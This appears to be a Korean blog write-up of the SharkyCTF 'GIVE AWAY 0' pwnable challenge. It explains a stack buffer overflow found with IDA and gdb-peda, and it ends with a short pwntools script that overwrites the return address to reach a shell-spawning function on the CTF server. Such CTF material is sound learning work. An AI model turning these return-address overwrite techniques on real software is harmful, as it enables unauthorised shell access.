CTF/포너블

[SharkyCTF] GIVE AWAY 0 - 포너블 / 버퍼오버플로우 / PEDA / IDA / Pwntool

SecurityMan 2022. 8. 19. 11:00

 

오랜만에 풀이해보는 포너블 문제

 

포너블은 참.. 할수록 어려운것 같다.

 

반응형

 

 

문제에서 주어지는것은 0_give_away 바이너리 파일이다.

 

 

리눅스에서 file 명령어로 해당 파일을 확인해보면

 

64비트 ELF 파일인것을 확인할 수 있다. ELF는 리눅스에서 실행가능한 실행파일이다.

 

 

한번 프로그램을 실행시켜봤다.

 

./0_give_away 라고 입력하면 실행이 된다.

 

실행하면 아무 출력없이 사용자의 입력을 기다리고 있는다.

 

 

hello 라고 입력해봤더니 그냥 프로그램이 종료되었다.

 

 

이번에는 무작정 a 를 많이 입력해봤다.

 

그랬더니 segmentation fault 가 떴다.

 

버퍼 오버플로우 공격이 가능할 것 같다.

 

 

IDA 라는 디스어셈블러를 이용해 바이너리 파일을 살펴보았다.

 

main 함수부터 봤는데

 

main 함수에서는 별거없이 vuln 함수를 실행시키고 끝난다.

 

 

vuln 함수를 살펴보면

 

fgets 함수를 이용해서 s 라는 변수에 사용자의 입력값을 50바이트 저장한다.

 

여기서 살펴볼 것은 s변수는 총 32바이트 할당되어 있으며, 시작은 rbp-0x20 이라는 것이다.

 

32 바이트 할당된 공간에 50 바이트 까지 덮어쓸 수 있게 만들어 놨으니

 

당연히 오버플로우가 발생한다.

 

지정된 변수의 크기를 넘어서 다른 값까지 덮어쓸 수 있는 것이다.

 

 

win_func 라는 함수도 존재한다.

 

/bin/sh 쉘을 실행시키는 함수인데

 

이 함수는 프로그램 디에서도 호출하고 있지 않다.

 

원래라면 main -> vuln -> main 순서로 프로그램이 실행되어야 하는데,

 

버퍼 오버플로우를 통해 vuln 함수의 ret 주소를 변경시켜

 

main -> vuln -> win_func 함수 순으로 프로그램을 실행시켜야 하는 것이다.

 

이제 대략적인 정보를 알았으니 문제를 풀어본다.

 

 

기존에는 그냥 단순히 gdb 를 이용해서 문제를 풀었는데

 

이번부터는 조금 더 업그레이드 된 peda 를 사용해보려고 한다.

 

설치방법은 간단하다. git clone https://github.com/longld/peda.git 명령어로 peda 를 다운받아주고,

 

 

echo "source <peda 다운로드 경로>" >> ~/.gdbinit 라고 해주면 설치가 끝난다.

 

 

설치하면 이렇게 똑같이 gdb 라고 실행시켜도

 

아래쪽 프롬포터가 gdb-peda$ 라고 자동으로 바뀌는것을 볼 수 있다.

 

 

먼저 info func 명령어로 win_func 함수의 주소를 기억해둔다.

 

0x00000000004006a7 가 win_func 함수의 주소이다.

 

 

그런다음 b vuln 이라고 입력해서

 

사용자의 입력을 받는 부분인 vuln 함수에 브레이크 포인트를 걸어준다.

 

 

그다음 r을 눌러서 실행시켜 준다.

 

그냥 gdb보다 peda가 좋은게, 보이는 것처럼

 

엄청 자세한 내용을 한번에 표시해주기 때문이다.

 

 

ni를 입력해서 프로그램을 한칸씩 진행시킨다.

 

계속 진행시키다가 vuln+27 부분에 오면 fgets 함수를 call 하고있는데

 

여기서 ni 를 한번 더 입력해주면 아까 그냥 실행했을때처럼 사용자 입력을 받는다.

 

시험삼아 a를 8개 입력해봤다.

 

 

입력한 다음 아까 s 변수가 시작하던 rbp-0x20 부분의 스택 내용을 살펴본다.

 

x/10xg $rbp-0x20 이라고 입력하면 되고,

 

맨 앞쪽에 0x6161616161616161 이라고 들어가 있는게 보인다.

 

0x61 은 알파벳 소문자 a를 의미한다.

 

아까 입력한 a 8개가 저기에 들어가 있는 것이다.

 

 

bt 명령어를 입력해보자.

 

현재 vuln 함수에서 ret 을 하면

 

0x00000000004006ff 주소에 있는 main 함수로 가는것을 알 수 있다.

 

 

아까 위에서 봤던 스택을 다시 보면

 

61616161 에서 멀지 않은곳에 0x00000000004006ff 가 써있는게 보인다.

 

저기가 바로 ret 주소인 것이다.

 

vuln 함수는 함수가 끝나면 저 부분에 쓰여있는 주소로 ret 하게 된다.

 

저 부분을 win_func 의 주소로 바꿔주면, 

 

main이 아닌 win_func 로 프로그램이 흘러가게 될 것이다.

 

 

형광펜 친 부분은 모두 40바이트 이다.

 

40바이트를 아무런 값이나 채워준 후 + win_func 함수의 주소를 넣어주면 덮어쓸 수 있다.

 

from pwn import *

p = remote('sharkyctf.xyz', 20333)
#p = process('./0_give_away')

ret = p64(0x04006a7)

payload = ('a'*40).encode() + ret

p.sendline(payload)

p.interactive

 

pwntool 을 이용해 간단하게 만들 수 있다.

 

p64(win_func 함수 주소) 를 ret 변수에 저장하고,

 

a * 40 으로 40 바이트를 a로 채워준 후, 그다음 ret 변수를 붙여주면 된다.

 

 

프로그램을 실행시키면

 

win_func 함수가 실행되어

 

/bin/sh 을 사용할 수 있고,

 

flag.txt 파일을 찾아 내용을 읽어주면 플래그를 얻을 수 있다.

반응형